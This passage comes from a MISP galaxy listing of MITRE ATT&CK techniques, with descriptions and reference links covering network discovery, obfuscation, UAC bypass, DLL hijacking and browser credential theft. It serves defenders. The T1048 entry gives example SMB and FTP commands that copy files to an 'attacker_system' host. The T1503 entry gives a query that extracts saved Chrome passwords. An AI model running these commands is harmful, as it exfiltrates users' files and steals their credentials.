https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/
https://nvd.nist.gov/vuln/detail/CVE-2017-0176
https://nvd.nist.gov/vuln/detail/CVE-2016-6662
https://nvd.nist.gov/vuln/detail/CVE-2014-7169

System Network Configuration Discovery - T1016

Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](ifconfig(https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).

Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"

Table 2264. Table References
Links
https://attack.mitre.org/techniques/T1016
https://capec.mitre.org/data/definitions/309.html

Standard Application Layer Protocol - T1071

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.

The tag is: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071"

Table 2265. Table References
Links
https://attack.mitre.org/techniques/T1071
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Replication Through Removable Media - T1091

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.

The tag is: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"

Table 2266. Table References
Links
https://attack.mitre.org/techniques/T1091

Exploitation for Client Execution - T1203

Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

Browser-based Exploitation

Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1192). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193), [Spearphishing Link](https://attack.mitre.org/techniques/T1192), and [Spearphishing via Service](https://attack.mitre.org/techniques/T1194). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"

Table 2267. Table References
Links
https://attack.mitre.org/techniques/T1203

Change Default File Association - T1042

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. For example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

The tag is: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042"

Table 2268. Table References
Links
https://attack.mitre.org/techniques/T1042
https://capec.mitre.org/data/definitions/556.html
http://msdn.microsoft.com/en-us/library/bb166549.aspx
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd

File and Directory Discovery - T1420

On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.

iOS’s security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.

The tag is: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"

Table 2269. Table References
Links
https://attack.mitre.org/techniques/T1420

Data from Removable Media - T1025

Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.

Adversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.

The tag is: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"

Table 2270. Table References
Links
https://attack.mitre.org/techniques/T1025

Exfiltration Over Physical Medium - T1052

In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052"

Table 2271. Table References
Links
https://attack.mitre.org/techniques/T1052

Obfuscated Files or Information - T1027

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)

Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim’s system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim’s system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim’s machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"

Table 2272. Table References
Links
https://attack.mitre.org/techniques/T1027
https://capec.mitre.org/data/definitions/267.html
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
https://en.wikipedia.org/wiki/Duqu
https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
https://github.com/danielbohannon/Revoke-Obfuscation
https://github.com/itsreallynick/office-crackros

Communication Through Removable Media - T1092

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

The tag is: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092"

Table 2273. Table References
Links
https://attack.mitre.org/techniques/T1092

Modify Cached Executable Code - T1403

ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)

The tag is: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403"

Table 2274. Table References
Links
https://attack.mitre.org/techniques/T1403
https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf

Credentials from Web Browsers - T1503

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)

Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData ‎April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary’s objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

The tag is: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503"

Table 2275. Table References
Links
https://attack.mitre.org/techniques/T1503
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
https://github.com/putterpanda/mimikittenz

File and Directory Discovery - T1083

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Windows

Example utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.

Mac and Linux

In Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.

The tag is: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"

Table 2276. Table References
Links
https://attack.mitre.org/techniques/T1083
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html

DLL Search Order Hijacking - T1038

Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

The tag is: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038"

Table 2277. Table References
Links
https://attack.mitre.org/techniques/T1038
https://capec.mitre.org/data/definitions/471.html
http://msdn.microsoft.com/en-US/library/ms682586
https://www.owasp.org/index.php/Binary_planting
http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx
http://msdn.microsoft.com/en-US/library/ms682600
https://msdn.microsoft.com/en-US/library/aa375365
https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/

Deploy exploit using advertising - T1380

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)

The tag is: misp-galaxy:mitre-attack-pattern="Deploy exploit using advertising - T1380"

Table 2278. Table References
Links
https://attack.mitre.org/techniques/T1380

Detect App Analysis Environment - T1440

An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.

Discussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).

(Citation: Wang) presents a discussion of iOS anti-analysis techniques.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Detect App Analysis Environment - T1440"

Detect App Analysis Environment - T1440 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 2279. Table References
Links
https://attack.mitre.org/techniques/T1440

File System Permissions Weakness - T1044

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

Services

Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.

Executable Installers

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)

The tag is: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044"

Table 2280. Table References
Links
https://attack.mitre.org/techniques/T1044
https://capec.mitre.org/data/definitions/17.html
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
http://seclists.org/fulldisclosure/2015/Dec/34

Obfuscated Files or Information - T1406

An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"

Table 2281. Table References
Links
https://attack.mitre.org/techniques/T1406
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html
http://pages.cs.wisc.edu/_{vrastogi/static/papers/rcj13b.pdf[http://pages.cs.wisc.edu/}vrastogi/static/papers/rcj13b.pdf]
http://ieeexplore.ieee.org/document/6234407
http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/
http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao

Obtain Device Cloud Backups - T1470

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google’s Android backup service or Apple’s iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple’s iCloud (Citation: Elcomsoft-EPPB). Elcomsoft also describes (Citation: Elcomsoft-WhatsApp) obtaining WhatsApp communication histories from backups stored in iCloud.

The tag is: misp-galaxy:mitre-attack-pattern="Obtain Device Cloud Backups - T1470"

Table 2282. Table References
Links
https://attack.mitre.org/techniques/T1470
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html
https://www.elcomsoft.com/eppb.html
https://blog.elcomsoft.com/2017/07/extract-and-decrypt-whatsapp-backups-from-icloud/

Exfiltration Over Alternative Protocol - T1048

Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different channels could include Internet Web services such as cloud storage.

Adversaries may leverage various operating system utilities to exfiltrate data over an alternative protocol.

SMB command-line example:

<code>net use \\\attacker_system\IPC$ /user:username password && xcopy /S /H /C /Y C:\Users\\* \\\attacker_system\share_folder\</code>

Anonymous FTP command-line example:(Citation: Palo Alto OilRig Oct 2016)

<code>echo PUT C:\Path\to\file.txt | ftp -A attacker_system</code>

The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048"

Table 2283. Table References
Links
https://attack.mitre.org/techniques/T1048
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Access Stored Application Data - T1409

Adversaries may access and collect application data resident on the device. Adversaries often target popular applications such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019)

This technique requires either escalated privileges or for the targeted app to have stored the data in an insecure manner (e.g., with insecure file permissions or in an insecure location such as an external storage directory).

The tag is: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409"

Table 2284. Table References
Links
https://attack.mitre.org/techniques/T1409
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html
https://securitywithoutborders.org/blog/2019/03/29/exodus.html

System Network Connections Discovery - T1049

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary’s goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)

Windows

Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039).

Mac and Linux

In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".

The tag is: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"

Table 2285. Table References
Links
https://attack.mitre.org/techniques/T1049
https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html
https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview
https://cloud.google.com/vpc/docs/vpc

Service Registry Permissions Weakness - T1058

Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058"

Table 2286. Table References
Links
https://attack.mitre.org/techniques/T1058
https://capec.mitre.org/data/definitions/478.html
https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx
https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
https://twitter.com/r0wdy_/status/936365549553991680
https://technet.microsoft.com/en-us/sysinternals/bb963902

Indicator Removal from Tools - T1066

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.

The tag is: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066"

Table 2287. Table References
Links
https://attack.mitre.org/techniques/T1066

Exploitation for Privilege Escalation - T1068

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.

The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"

Table 2288. Table References
Links
https://attack.mitre.org/techniques/T1068

Bypass User Account Control - T1088

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

<code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

The tag is: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088"

Table 2289. Table References
Links
https://attack.mitre.org/techniques/T1088
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
https://msdn.microsoft.com/en-us/library/ms679687.aspx
http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
https://github.com/hfiref0x/UACME
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

Exploitation for Defense Evasion - T1211

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1063). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211"

Table 2290. Table References
Links
https://attack.mitre.org/techniques/T1211

Extra Window Memory Injection - T1181

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

The tag is: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181"

Table 2291. Table References
Links
https://attack.mitre.org/techniques/T1181
https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Exploitation for Credential Access - T1212

